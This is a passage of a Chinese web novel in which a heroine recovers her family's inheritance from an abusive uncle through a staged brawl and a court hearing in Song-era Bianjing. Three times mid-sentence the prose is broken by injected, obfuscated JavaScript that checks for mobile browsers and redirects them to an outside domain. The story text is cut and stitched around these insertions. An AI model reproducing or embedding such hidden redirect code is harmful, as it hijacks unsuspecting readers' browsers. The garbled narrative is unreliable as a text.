“金枝啊，我和你舅舅可是把你当亲侄女对待的，你怎么回汴京都不与我们写一封书信？也好叫我们预备着给你接风洗尘。” “哦？舅舅与舅妈确实是要给我接风洗尘？而不是将我弟妹连夜送走，好叫我无法知道舅舅与舅妈这些年，是如何对待他们的？！” 柳金枝冷笑，将“如何对待”这四个字咬的极重。 柳霄和月牙也一同围上来，冷冰冰地看着邓章氏。 邓章氏更为心虚，结结巴巴道：“我、我和你舅舅待霄哥儿、月姐儿算不错了！你、你非要这么空口白牙污蔑人，我也分说不清楚！待你舅舅来亲自与你说吧！” 尔后就想走。 柳金枝直接上前两步将人拦住，语气含笑：“舅妈，您去告诉舅舅一声也好，毕竟有些账咱们确实要算了。今日未时，我亲携弟妹上门拜访。” 言罢，这才将邓章氏放走。 柳霄皱着眉，走上前拉住柳金枝的衣袖：“阿姐，你当真要亲自去邓家？” 柳金枝道：“当然，总不能白叫你们吃了这些年的苦头。再者说，阿爹阿娘留给我们的家财还在他们手中，咱们也必须拿回来。” 柳霄抿了抿唇，道： “我和月牙在邓家待了这么多年，对他们夫妇二人也有所了解。舅母是个后宅妇人，虽贪财，但蠢笨，所以我和月牙也不怕她。但是舅舅……” 他停顿片刻，才道： “是个心黑手狠的捣子，又认识许多人。在你没回来前，我和月牙就想过去告官，让舅舅把遗产吐出来。没想到叫他盯上，不仅派人追打我们，还叫我们进不了府衙一步，还抢了我费心存下的银钱。” 柳金枝脸色猛然一黑。 难怪呢！ 柳霄看起来也不像是个没主意的孩子，怎么可能任由自己和月牙流落街头，甚至到了偷吃包子被抓入军巡捕的地步。 原来是想过反抗，却被这个黑心的贼娘舅给硬生生打了回来！ 好啊好啊，当真是眼瞧着她不在，就把她弟妹两个当猪狗般欺负。 柳金枝气的两颊泛红，问柳霄道：“你和月牙受了这么多欺负，为什么不在我回来后全部告诉我？” 柳霄沉默了下，眼眸漆黑若深潭，道：“因为我不想再失去这个家。” 柳金枝看着柳霄，柳霄却避开了她的目光，低声说道： “无论阿姐你说我自私也好，骂我怯懦也罢。可我和月牙好不容易能有一个稳定的家，我不能再眼睁睁看着你去撞南墙，把这个家又撞散。” 他说着，蹲下来拉住月牙的小手。 因为冬日里手也浸在冷水中洗了半日的盘子，月牙双手发红，指尖还有着细小伤痕。 但是从头到尾，月牙都没有叫过一声辛苦。 “阿姐，虽然我们现在的日子过得也不算轻松，但我和月牙都觉得已经够了，至少比我们以前待在邓家，不知何时才能吃上一顿饱饭的日子有盼头多了。” “所以，你不要去邓家了讨要说法了，咱们就先经营好自己的小家，好吗？” 柳金枝看着少年眸子里诚恳的神色，知道他说的话皆是出自肺腑。 长久孤独流浪的孩子，一旦拥有了家，就会拼尽全力去维护它。 更何况本来就将家视作性命的柳霄？ 柳金枝理解，也心疼柳霄和月牙。 她弯下腰，分别揉了揉柳霄和月牙的发丝，轻声安慰道：“阿姐不怪你懦弱，我能知道你是为了这个家好，也是为了我好。” 柳霄一怔，忍不住抬起头来看柳金枝。 逆着天光云影，柳金枝眉眼清丽，像是一幅艳山暖水的画，可她眸子里的温柔才最叫人移不开眼。 “阿姐，你同意不去邓家了？”柳霄忍不住问。 “不，我还是要去。”柳金枝认真道：“因为你不知道，愿意各退一步的人是君子，但小人只会欺软怕硬。你越不肯与他硬碰硬，他就会越来欺负你。” 柳霄眸光闪动。 “与其坐以待毙，不如主动出击。”柳金枝对柳霄伸出手，“你若肯信我，那就与我站在一起，咱们一家三口齐心协力，去邓家讨这笔债！” 柳霄的视线落在柳金枝的手掌上，眼眶微红，道：“……如果你非要去这一趟，那我就跟着你。” 他没握住柳金枝的手，而是一个人抱着月牙默默站起来。 “但是月牙不能跟着我们一起去，就把她寄放在黄婶子家吧。” 柳金枝道：“你是怕我这一去会出意外，所以才想跟着我？” 柳霄顿了下，但没说话，只是转过头将月牙放在驴车上，然后一个人扛着擦拭干净的两套桌椅还去了蔡氏饭馆。 看着柳霄消瘦倔强的背影，柳金枝摇摇头，走过去摸摸月牙的脑袋：“他哪里都好，就是太倔了，对不对？” “但是哥哥会保护我们。”月牙抱住柳金枝的胳膊，小脸压出肉肉的弧度，“因为哥哥比谁都爱我们，所以你们两个一定不要吵架。” “当然不会，因为阿姐也比谁都爱你们。” 柳金枝温柔地说。 她得让柳霄彻底明白，现在已经不是六年前了。 他和月牙不再是没有人撑腰的孩子。 等柳金枝一家三口收拾好东西回到采莲胡同时，已经过了午时。 胡乱吃了些早上做的朝食果腹，柳金枝就抓了一把子铜子外出了一趟，等到临近未时才回来。 柳霄已经套好驴车在采莲胡同等着了。 虽然柳霄对柳金枝消失这段时间去了哪儿有些疑惑，可柳金枝没主动说，他也就没问，只一路沉默驾着驴车到了城南。 邓家是做药材生意的，但一路传到邓家舅舅，邓山，这一代已经逐渐没落。 再加上邓山又是个鸡鸣狗盗之徒，拜高踩低之辈。对穷苦百姓，他就用假药来滥竽充数。对富户豪绅，就拣上好的药材上供。 所以近年常在各路达官贵人的门首走动，也识得了许多不三不四的捣子，帮他做些龌龊勾当。 不知有多少穷人吃他家的药毫无疗效后，气愤到要去报官，结果被几大拳打将回来的。 邻里街坊哪个不对邓山咬牙切齿？却又只能打碎牙往肚子里咽。 这种人不能以常规手法对付，只能另辟蹊径。 柳金枝想着，驴车已经载着她一路从新曹门到了城南。 她少年离家，对邓氏药材铺地址的记忆早已模糊，但柳霄记忆深刻，一路驾着驴车过了南熏门里大街，直奔宣泰桥而去，而桥旁的“邓氏药材铺”旗招子已经若隐若现。 柳霄当真对邓家满怀恨意，只是瞧见个旗招子，都忍不住绷紧了背脊，脸色阴沉。 柳金枝拍拍他的肩膀，道：“放松些，有我在。” 柳霄回头瞧了她一眼，这才勉强让自己冷静下来，勒停驴车。 柳金枝下车以后没有丝毫停留，径直走向邓氏药材铺的门口。 甫一进门，柳金枝就瞧见柜台前的躺椅里坐着个瘦如竹竿的中年男人，蓄着山羊须，一双吊梢三角眼，眼睛滴溜溜一转，透露着十分的精明和刻薄。 男人还不知道柳金枝进门来，正翘着二郎腿翻看账簿，手里抓了一把瓜子儿，一边嗑，一边拉长了音调喊：“富贵儿，给老爷我沏壶茶来。” 柳金枝按住柳霄要叫人的架势，自个儿酝酿了一下，大叫一声：“娘舅！我的命好苦啊！” 这一声仿佛在邓山耳边丢了个炸雷，吓得他手一抖，瓜子和账簿全掉了一地，险些摔在地上。 惊惶抬头一看，方才瞧见柳金枝，当下脸色来回变换，青青紫紫，最后又转为黑，冷笑着拍拍手站起来，道： “好侄女儿，你倒是一言既出驷马难追，说登门还真登门。” 看来邓章氏已经把柳金枝的话带到了。 柳金枝做作地抖开一条帕子，在自己脸上擦来擦去，凄声惨气地哭道： “再不登门，侄女我可就活不下去啦！娘舅啊，当年我父母双亡，我与一双弟妹又年幼，便把遗产托付给你看管。” “再加上我家老屋这些年的租金，和我卖身为奴的银子，也都给了你，就是劳烦你帮我照顾两个年幼的孩子。” “结果我弟妹两个流落街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458087|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，食不果腹，衣不蔽体！我那小妹妹瘦成了皮包骨，我这个弟弟也是底子虚弱，咳嗽不断。” 柳金枝拉过柳霄，使劲儿一拍他的后背。 柳霄会意，赶紧撕心裂肺地咳了起来。 “娘舅！您可是我亲娘舅！怎的能这般对我呢？我那死去的爹娘可还在天上看着你呢！” 柳金枝张口就是卖惨，根本没有给邓山反应的时间。 等邓山气愤地跳起来破口大骂时，药材铺以及铺子外头的百姓都围上来瞧热闹。 邓章氏以及伙计富贵也被这动静惊动，全都从后院转了出来。 “贼歪刺骨！我养你弟妹到大，你如何空口白牙来拉扯我的不是？！” 邓山把个胸脯拍的响亮： “我邓山为人邻里街坊没有不知道的，那是出了名的光明磊落！” 此话一出，围观百姓皆是哄笑。 饶是邓山厚脸皮，此时也不自在，唤了富贵拿着扫帚去门首赶人。 “去去去！家务事，谁准你们在这儿瞧热闹？！”富贵大扫帚乱挥。 几个在铺子里买药的客人也被赶了出去。 众人被挨打，但又不肯放过看邓山笑话的机会，就远远凑在街对面的铺子里看。 邓山恨得牙痒痒，骂道：“你这贼猪狗，此前你舅母上御街采买布匹，你倒给拦住了好一通威胁！现下又来侮辱我了。你说说，你究竟要如何？” 柳金枝哭哭啼啼，道：“我只是一介弱女子，能待如何？只不过期望娘舅你把我阿爹阿娘的遗产还回来罢了。” “呸！按照大宋律法，我妹子和妹夫死了，他家的遗产合该归我管。我瞧你是在外头勾搭了什么不三不四的野男人，就想从我手里捣鼓走遗产，好自己享用吧？” 邓山冷笑。 柳霄顿时怒火中烧，怒喝道：“你嘴巴里在喷什么粪？！” “怎的？刺中你的痛处了？”邓山不屑一笑。 “你——！” 柳霄撸袖子就要上去拼命，却反叫柳金枝拦下。 柳金枝假意擦着眼泪，道：“娘舅说的不假，但娘舅扪心自问，你拿着我父母财产，可有一分一毫花在我弟妹身上？” “您瞧舅母身上穿的是绫罗绸缎，头上戴的珠花金簪。您这件直裰恐怕还是杭州湖边的丝绸裁剪的，便可见一斑。” 邓章氏心虚地往后缩了缩，但邓山气急败坏，抬手就想打人。 可柳金枝抢在他之前陡然提高音量，道：“娘舅怕是还不知道，《名公书判清明集》中曾记载了一件“叔父谋吞幼侄财产”案。” “因幼侄儿年幼时痛失双亲，不得不由叔父代为监护。结果叔父贪婪自私，不仅未尽监护之责，反倒霸占了侄儿家财。” “官府发现后，严惩其叔父，仗责四十，直打的人下半身血淋淋的。” “娘舅，您说若官府知道你这般虐待亲侄，抢夺遗产，会不会也对娘舅动这样的刑罚？” 一番话说的邓山脸色是变了又变。 但他可是在汴京城里混迹了多年的捣子，倒不至于被柳金枝一句“告官”就给吓唬了去。 “好侄女，我算是听出来了，你这是想要以下告上，闹到官府去。”邓山嗤笑一声，压低了声音威胁，“但侄女莫不是忘了我大宋律法早有规定，以下告上，需先行承担责仗三十。就你这身子骨，经得起打吗？” 邓山将柳金枝当作十六岁少女吓唬，可不知柳金枝来自现代，其眼界学识非常人可比。长眉一挑，将这话怼了回去： “娘舅，我就与您说一句实话。这回我从秦淮回来，就没打算再离开。但家中贫穷，生活难以为继，就快饿死了。现下为了银子，就算叫我再挨三十板子也甘愿。” 今日为了卖朝食方便，柳金枝和柳霄都穿的十分朴素。 特别是柳金枝，她本就没什么傍身银钱。 所以身上穿的是洗得发白的粗布麻衣，一头青丝只用一根素木簪子固定，再加上她清瘦的身段，很难不让人相信她是因为走投无路，而不得已与邓山拼死一搏。 “再说了，侄女年轻，挨一顿板子死不了，养养就回来了。”柳金枝擦去腮边两滴清泪，故意走近两步对着邓山勾唇一笑，眉眼满是挑衅和算计。 “只是娘舅，我记得您今年也三十有九了，可还经得起这般折腾？” 14. 闹去官府 邓山在横行霸道多年，就没被人这样对待过。 他气得脸都绿了，把拳头纂得吱嘎响，恶狠狠道：“你想报官？想得美！我让你这辈子都走不到衙门口！” 话音落下，门口砰一声。 柳金枝与柳霄猛然回头。 居然是富贵不知什么时候绕到了大门口，将门给关上了，手里还拿着根棍棒，紧盯着柳金枝的腿。 看来这厮是仗着背后有人，想要来硬的！ 柳霄反应过来，直接抢过柜台上药材秤，横身保护在了柳金枝身前，像个小豹子一样绷紧了浑身肌肉。 “你敢动我阿姐一下试试！” 邓山却嚣张道：“富贵，给我打！只当他们是光天化日之下，闯入我药材铺偷盗的贼人，届时到了官府，自有我为你分说！再与你十两雪花银！” 一听说有银子，富贵顿时眼前一亮，二话不说就朝柳金枝扑去。 柳霄大叫一声，拼命朝前一撞，用双臂死死抱住富贵腰身，口中大喊：“阿姐快跑！快跑！” 富贵满眼不耐，正要揪住柳霄衣带，将人狠狠砸出去的时候，药材铺的大门忽然被人撞了一下。 起先还没人在意，邓山只顾着叫富贵打折柳金枝的腿。 但大门的撞击声越来越大，整个大门摇摇欲坠，被猛地一下撞开，门板倒在地上激起一片灰尘。 邓山和邓章氏都吓了一跳，抬头一看，只见门口不知何时居然站了三个黑黢黢的彪形大汉，一个个长得跟移动小山似的，往哪儿一站，顿时就将门口堵了个水泄不通。 富贵与他们相比，就好似猛虎比野狗，气势上顿时就输了一截。 更遑论其中有个汉子恼富贵挡了他的道，当下一脚踹中富贵小腿，直把个人踹翻在地，抱着腿爹啊娘啊的嚎哭个不停。 趁此机会，柳金枝赶忙带着柳霄躲到一边静观其变。 邓山也免不得吞了一口唾沫，叉手一拜，道：“不知三位好汉是哪方人士？怎得今日莅临寒舍？” 为首的一个络腮胡粗声粗气道：“邓二哥是爽快人，直接就问了俺们来历，那俺们也不睡里梦里，直说了罢。” “前些日子俺在你这间药材铺里买了味假药，找你来理论时，你只说是没银子，又哭的可怜，俺们也就宽限了你些时日。” “但现下俺们看你威风的很，不似个可怜虫，便要上门讨银子来。” 邓山听了，把眼睛都吓得瞪大了：“你们在胡说什么？我何曾欠过你们银子？” “邓二哥，你这话就不对了，你没欠俺们银子，那俺们又为何要向你讨银子？自古说苍蝇不钻那没缝的蛋，你可休要抵赖。”络腮胡道。 柳霄听得眉心一跳，看向柳金枝道：“阿姐，这……” 柳金枝按住他的嘴，笑道：“别说话，先把这出戏看完。” 这邓山常常叫贫困百姓吃哑巴亏，现下到他吃亏，简直就冤得无处诉苦，拍着手道：“我都不知你们三人姓甚名谁，素不相识，你们怎得就要找我来讨银子？这一定是认错了！” “欸，邓二哥，自古以来于官不贫，赖债不富。你连本带利欠了我们五十两银子的药材钱，怎就耍赖不给呢？你可别忘了，当时你这味假药，可是险些害死我鲁家嫂子。” “是啊，若不是我几个劝着我鲁兄弟，他就是拿把刀子杀了你，白刀子进红刀子，也是使得的。你怎得转脸就不认了这恩情？” 瞧这络腮胡说的有理有据，把个邓山急得额头冒汗，道：“我哪里借了你们的银子？就算真的借了，也该有文书保人。现在无凭无据，你们便要讹我五十两银子？世上哪有这样的道理？！” “你要文书？我这有，与你瞧瞧。” 络腮胡从袖子里取出文书，在邓山面前晃了一晃。 邓山一瞧上头写的年月日全然对不上，眼见着是弄虚作假，当下脸被气的蜡黄，怒喝道：“贼他娘的杀千刀，你们是哪里来的捣子？走来我门首讹诈我？！” 却不想络腮胡比他更恼火，上前就是一拳，正中邓山面门，打得鼻子都恨不得歪到一边，整个人朝后一飞，撞在货架上，扫落了一地的药材。 眼见邓山吃了瘪，那些个被富贵赶走的百姓又纷纷围过来瞧热闹，讥笑不已。 邓山只觉得自个儿的鼻子软成了一根热面条，险些要从自己脸上流下来。再一摸，好家伙，满手的鼻血！ 真是气得他七窍冒烟，恨不得五脏六腑都挪了位，捏着鼻子大骂道：“好个贼捣子！我倒要叫你们好看！”又奋力挣扎起来，“富贵，还不快过来帮忙！” 可是富贵被这络腮胡一脚踢翻，此时还在地上窝爬着哭爹喊娘，哪里还敢再上？ 邓山这回是落了个孤立无援的下场。 三汉子中的一人道：“罢了，大哥，咱也别给邓二哥太难堪。当年都肯宽限他些时日，现下也再宽宥一二。只要他肯把五十两药材钱还上，咱们就别动手了。” 邓山又气又怕，又不敢再骂，只恨恨道：“我哪里有借你们银两？就是有借，你们也该与我好讲，怎得这般撒野？！” 闻言，络腮胡好笑道：“邓二哥，你若早这般承认欠了我们药材钱，也不用挨我这一拳了。你说说，这一拳岂不是你自找的？” 从未听过这般颠倒黑白之事！ 邓山顿时气得理智全无，手都在发抖，破音了一般吼：“□□你祖宗的！我要报官！我要报官！” “瞧这邓二哥，似吃了酒一般，又说起胡话来了，让兄弟我来替你醒醒酒。” 络腮胡笑吟吟的，大步流星走上前提起邓山，直从货架前提溜到了铺子门口，手上不提防又是一拳。 打得邓山一声惨叫，仰八叉跌了一跤，直摔出街面去，险些跌进洋沟里，却将帽子掉了，发散开了，连巾帻都叫沟水污了，狼狈的不成样子。 可是邓山人缘坏，周围连一个帮他说话的人都没有，大家都笑嘻嘻的，有的甚至还在喝彩： “壮士，再来一拳！” “打得好！” 吵闹成这般情形，终于招来了地方保甲。 保甲见邓山心头恨极，一味嚷嚷着“青天白日里冤枉人，我要见官！”之类的话，便取出一条绳儿来，将邓山与那三条汉子一并栓了，要押他们去官府。 又见柳金枝和柳霄还有富贵也都在郑氏药材铺子里，应是人证，因此不问三七二十一，也作一条绳儿捆了，一并带去官府。 而邓山呆愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人群后头，有两道人影从五岳观里绕出来。 走在后头的是一白胖小童，睁着一双圆溜溜杏眼，手搭凉台瞭望道： “二郎，你瞧，前头挤了好些人，也不知发生什么事了。” 傅霁景略微抬起头来简单看了前头一眼。 寒风吹起他身上宽大的藏青色袍子，猎猎作响，却又有几分说不出的魏晋风流。 “杏安，莫要瞧热闹了。”傅霁景重新敛下眉眼，声音温和沉静，“先回家将何方真人的墨宝交给父亲方为正事。” 杏安颇为失望地又踮脚看了下，却见前方人群也渐渐要散了，百姓们零零散散走开，只剩嘴里还在议论： “若柳娘子到了公堂之上，还被邓山刁难，我倒愿意去作证。当年柳霄还住在宣泰桥的时候，我可没少见邓山拿竹条抽打那孩子。” “只是邓山终究是柳娘子的娘舅，若是以下告上，这三十板子是逃不掉了。” “可惜了柳娘子如花一般的美人。” 傅霁景脚下一顿。 15. 拿回遗产 待柳金枝一行人被保甲带至应天府公堂下跪，两排衙役一齐大力敲打水火棍，齐呼：“威武——” 坐于明镜高悬四字匾额下的提刑官着一身藏青，眉心有道川字眉，虎目炯炯有神，更显不怒自威，沉声道： “堂下所跪之人，哪个是苦主？” 邓山后悔不迭，却又不敢承认，直到被那保甲踢了一脚，才颤巍巍应道：“草、草民就是。” “你要状告何人？” “草民……” 邓山满头冷汗，却支支吾吾说不出个道理来。 就在这时，忽有一声越过他，掷地有声道：“娘舅他要状告这三位壮汉讹诈。” 邓山一愣，惊异地看向柳金枝，似是不理解为何柳金枝不帮着这三人。 然而还未等他把事情想明白，那三个汉子就大声叫起冤屈来，一口咬死了是邓山卖假药，欠了他们五十两银子。 提刑皱起眉头，敲响惊堂木：“肃静！你们既然状告邓山欠你们银两，可有保人文书？” 邓山本以为这三人要将那份伪造的文书拿出来，谁知这三人居然摇头，苦笑道：“回老爷，我们没有。” 话音落下，邓山只觉得背脊发毛。 这三人才没那么好心，不知是在哪里等着他？ 果然，下一刻，络腮胡便道：“这邓山精明，我要签文书，他却一直推脱不肯，因而草民没有证据。可是草民不曾说话，邓山当真作奸犯科，以次充好，卖假药骗人。大人若是不信，大可以去宣泰桥找街坊邻居作证。” 按照大宋律法，贩卖假药这事儿一旦被坐实，那就是流放的刑罚！ 邓山这才明白这三人打得是什么主意，不由得遍体生寒，直发起抖来，只有脑子还保持一点清明，只觉得整件事不对。 他与这三人无冤无仇，怎得就要来坑杀他？ 忽然，一点灵光从脑子里闪过，邓山瞪直了眼睛看向柳金枝。 而柳金枝侧眸瞧他，却是微微一笑。 “是你！”邓山恨不得扼杀柳金枝，面容扭曲地怒吼，“是你害我！就为了四千贯，你居然害你亲娘舅！” “肃静！不得扰乱公堂！” 提刑再拍惊堂木。 左右立即上前按住邓山的肩膀，啪啪左右开弓抽了他两个嘴巴，直把人打的天旋地转，再不敢高声，只用一双眼睛恨恨地瞪向柳金枝。 “去，到宣泰桥寻访邓山的邻居，有愿意作证的即刻带来应天府。” 提刑从签筒里抽出个令箭掷于堂下。 左右领命即去。 本以为此事破要费一番功夫，谁知邓山在宣泰桥作威作福多年，左邻右舍饱受欺压，一听得是应天府传唤，光是自愿来府衙的就足有十来个！ 齐刷刷在公堂上跪了一排，提刑问什么，便答什么，但架不住邓山人缘坏，一问一答之间，居然就有人额外控诉起邓山来。 如买了邓氏药材铺的药，却吃坏了身体的百姓要去官府告状，邓山雇打手将人痛打一顿，逼的苦主不敢再靠近官府一步。 又如邓山仗势欺人，邻家的猪跑到了他家，就故意把猪关起来据为己有，邻居来讨要，反将人痛骂一顿。 还如…… 邓山的罪状越挖越多，提刑眉心拧成了个大疙瘩，眼中怒火鼎盛。 “大胆！在汴京城中，官家脚下，竟还能出现这般贼恶人！”提刑狠拍惊堂木，“可还有苦主要说话？” “老爷。”柳金枝膝行两步上前，跪地流泪，“还请老爷饶民女娘舅一命。” “娘舅他虽然是个恶人，亦曾强占了我父母的四千贯遗产不肯归还，还骗我自卖为奴将卖身银子交与他。” “假意收养我弟妹，却时刻将其虐打，还在冬夜里赶出家门，令其自生自灭。” “在我携带弟弟上门讨要银钱时，又要对我们姐弟俩动手。” “可他始终是民女的娘舅啊。” “民女不能眼睁睁看着娘舅被仗责流放。” 说实话，柳金枝这番话茶里茶气，听起来颇假，但奈不住她哭得真切。 眼泪跟断了线的珠子一样，扑簌簌从脸上落下来，大颗大颗砸在地面上。 配合着来看，倒真像个愚孝纯良之人。 可这番话险些没把邓山气晕过去，他尖声道：“分明就是你伙同这三人害我！现下却如此颠倒黑白！” 在场众人哪个和邓山没点仇？ 一听说邓山这般不要脸构陷一位年轻娘子，便纷纷为柳金枝说起话来。 大家都住在宣泰桥多年，关于邓山虐待柳霄、月牙的见闻是数不胜数，诸如不肯给饱饭吃，逼得两个孩子垂死挣扎之际，只能去偷吃鸡食，却连这也要挨一顿毒打。 其惨状就连提刑都颇为动容，忍不住叹息：“世上竟有这般狼心狗肺之人。” 当下便不愿再听下去，直接拍响惊堂木，道：“犯人邓山售卖假药、仗势欺人、还意欲私吞亲侄钱财，现证据确凿。本官着令邓山归还五十两药材钱，与柳家娘子四千贯，事了之后再发配青山县，除非大赦，否则永不许回京！退堂！” 敕令落下，只听噗通一声。 众人看去，原来是邓山惊骇过度，竟然直接倒在堂中昏死过去。 柳金枝眼珠一转，当即做作地抖开一条帕子，掩面哭道：“哎呀，我的娘舅欸~您就这么去啦~侄女也是痛心疾首啊！” 大家见柳金枝伤心，都感叹她当真纯良心善，不由纷纷安慰。 柳霄却在一旁看的分明，柳金枝掩在帕子下的嘴角压都压不住。 为避免露馅，柳霄赶紧也假装悲伤将柳金枝扶起来，抽抽噎噎道：“阿姐，咱回家吧。” 柳金枝点点头，被搀扶着往外走。 眼见着二人的背影逐渐消失，师爷忍不住对提刑道：“大人，这位娘子以下告上，按照大宋律法，该先打三十大板才对。” 提刑沉默了一下，道：“师爷，律法确为铁令，却也该在细微处通达人情。今日之事，本官只当它是众人仗义执言，一齐揭发出来的。至于所谓以下告上，本官从未听过。” 言罢，提刑站起来，转身退堂。 府衙之外。 柳霄搀扶着柳金枝走了一段路，见身后无人跟来，这才分开说话。 天边晚霞柔柔落下，河畔的枯枝分割着半轮血色残阳。 借着天色，柳金枝才看清柳霄额上不知何时多了一层冷汗。 “阿姐，虽然我很高兴邓山终于自食恶果，但今日你说出他恶行的时候，我着实为你捏了一把汗。万一提刑认为你在以下告上，那三十大板你是无论如何都逃不过去的。” 柳霄道。 “阿姐知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜的是，傅霁景自从归家，除却亲近之人有事央求，否则绝不出门，只留在家中静心温书，连带着他也找不到机会出府。 今日好不容易见到柳金枝，为了肚子里的馋虫，说什么也得上去问候两句。 也就装出一副懂事知礼的模样，皱眉道： “二郎，当时在船上柳娘子为我们做了半月吃食，我们却没来得及当面告慰，就离船去了。现下想想，总觉得失礼。” 傅霁景脚步一顿，不由犹豫地抿起唇瓣，道：“这怕是于礼不合。” “嗐，礼还能比人情大？那柳娘子着实可怜，在侯府被磋磨，回汴京又因为黑心娘舅侵吞财产闹上公堂。” “都说救人救到底，送佛送到西。” “二郎既然救了柳娘子一命，不如好人做到底，去瞧瞧她家中到底如何？莫要又出意外，白救得一条性命回来。” 杏安一边说，一边小心翼翼地观察傅霁景的神情。 只见傅霁景也像是找到了一条满意的理由，终是点头道：“若是为了此前失礼之处去赔罪，倒理所应当……” 杏安闻言大喜，都等不及傅霁景把话说完，急急忙忙扭过头去要先叫住柳金枝二人。 然而前方哪里还有人？ 柳金枝与柳霄早走了，此时只剩一片寂寥的深冬景色而已。 16. 镂鍮装花盘架车 夏提刑下了命令后，邓山就被扣上了镣铐。两个衙役押着他往宣泰桥的药材铺子走，要去拿回欠款。 柳金枝、柳霄还有那三个汉子自然都跟着。 到了郑氏药材铺，就看见邓章氏站在门口哭，见邓山被押解着，更是泣不成声。 却没人同情她，毕竟邓山作威作福的时候，她不也跟在身后耀武扬威？ 两个衙役也不跟她多废话，直接出示公文，叫她拿出五十两银子并四千贯出来了账。 然而即便邓山曾经威霸一方，这五十两银子也是个了不得的大数目，邓章氏给不起，只得先把柳金枝的四千贯还了，说要再去后院找找。 两个衙役尚且年轻，倒真放邓章氏去了。 可是一刻钟后还不见邓章氏转还出来。 那络腮胡便一拍大腿：“糟了，这妇人怕是要逃啊！” 一群人齐齐涌入郑氏药材铺看，果真，金银细软，值钱药材全没了，后院角门大开，邓章氏便是从此处逃之夭夭。 衙役大怒，转身劈头盖脸打了邓山一顿，打的人嚎啕大哭，却又把人扯起来，往他岳丈家要银子去了。 这接下来的事儿柳金枝就不必再跟了，与三个汉子和两个衙役道过谢，就和柳霄坐着驴车去了御街。 柳霄面上阴郁之色消散不少，笑道：“多行不义必自毙，邓山这回活该。” 柳金枝道：“夫妻本是同林鸟，大难临头各自飞。邓章氏卷着钱财跑了，却连一点路费都没给邓山留。从汴京到青山县，少也有几千里路呢。要是连岳丈家也不肯施舍一些，衙役还不知道要如何恼火呢。” 这些可都不关他们的事儿。 各人有各人的造化，以后邓山是死是活，就与他们无甚关系了。 柳金枝道：“拿回了这四千贯，我想去御街上买些东西把食摊改造一下。” 柳霄闻言点头：“买些桌椅回来，就不用向别人借了。” “桌椅是一方面，我还想招个洗碗工。”柳金枝回想起月牙红肿的手指，心疼又愧疚，“月牙还小，不应该跟着我们吃这么多苦。” 柳霄道：“阿姐不要这么想，其实月牙很高兴，比起以前的日子，现在算不得苦。” “以前是以前，现在是现在，既然我回来了，总是要好好护着你们。”柳金枝从怀里摸出两盒油膏，塞在柳霄手里，“呐，你和月牙一人一盒。” 这两盒油膏还带着一些温热，应是柳金枝外出时早就买好的。 柳霄摸着油膏的外壳，心中温暖，笑道：“谢谢阿姐。” 柳金枝摸摸他柔软的发丝，眼中温柔的仿佛尽是点滴春色。 片刻后驴车停在御街的桌椅团行附近。 柳金枝下车一看，发现这里的铺子大多都在门首摆放精致桌椅，吸引顾客的视线。 椅子有靠背椅、扶手椅、圈椅、玫瑰椅、交椅和官帽椅。桌子又有平头案、翘头案、琴桌和花腿桌…… 但她是做夜市，地方有限，太大的桌椅要不了，太漂亮的桌椅又太贵。 最后挑挑拣拣，在一家铺子里头定下了五套，以高脚花腿桌和圆墩为配套的桌椅，先手交付定金，等桌椅送到了地方再总账。 但柳金枝其实还想要辆车。 “御街离新曹门那么远，若是每天早上都租赁一辆驴车赶过去，来不来得及不说，也太费银钱了。” “我听说团行里头有卖镂鍮装花盘架车的，也想买一辆，日后方便。” 所谓镂鍮装花盘架车，就是一种小型售货车。 宋朝卖零食的小贩为了吸引更多的食客来光顾生意，就会把食物装在镂刻着各类花纹，并用黄铜镶嵌的小型售货车上。 这样食客们打眼一看，就知道这家卖的是什么东西？色泽、品相如何？ 当然，柳金枝当然不只是卖零嘴、杂嚼那么简单，她做饭炒菜离不开汤汤水水，还有炭盆火炉，每日来返极为不便。 她就想找到专门做镂鍮装花盘架车的铺子，再请店家帮她稍作改造。 将车内装上火炉、燎子，再开辟出一个地方给她挂砧板、菜刀，就像现代的流动商贩车一样。 不过虽然她想的很好，但能答应这种要求的店家很少。 毕竟她银钱有限，出不起高价手工费，而费心费力改造一辆镂鍮装花盘架车，对商家来说也颇为耽误生意。 所以转了好几圈都没有如愿。 “唉，找不到就算了。”柳金枝擦擦汗，放弃了，“等日后咱们赚钱了，再出个高价叫位师傅专门帮我做。” 柳霄问：“阿姐，大概要多少银子？” “工费、材料再加上浇手，怎么也得七八钱吧。” 七八钱？ 柳霄抿了抿唇。 他觉得以柳金枝的俭省程度，哪怕以后赚钱了，估计也舍不得出这么多钱去买辆车。 于是他暗暗将这事记在心里。 “罢了，先拿驴车凑合着吧。”柳金枝解开茄袋数了一数银两，“再去买几只双层桶是要紧。” 柳霄问：“阿姐买桶做什么？” “为了做夏天的生意。” 一年春夏秋冬四季，每季的菜蔬各有不同。 春日万物复苏，正是采摘野菜，邻水斫鲙的好时候。夏日天色炎热，就要大口吃冰，喝些冰雪、凉浆、甘草汁……才爽快怡人。等到七月流火之时，饭桌上随处可见澄阳湖大闸蟹。 古代又没有温室大棚和冰箱和制冷机，饮食当然都是跟着季节走。 除却夏天。 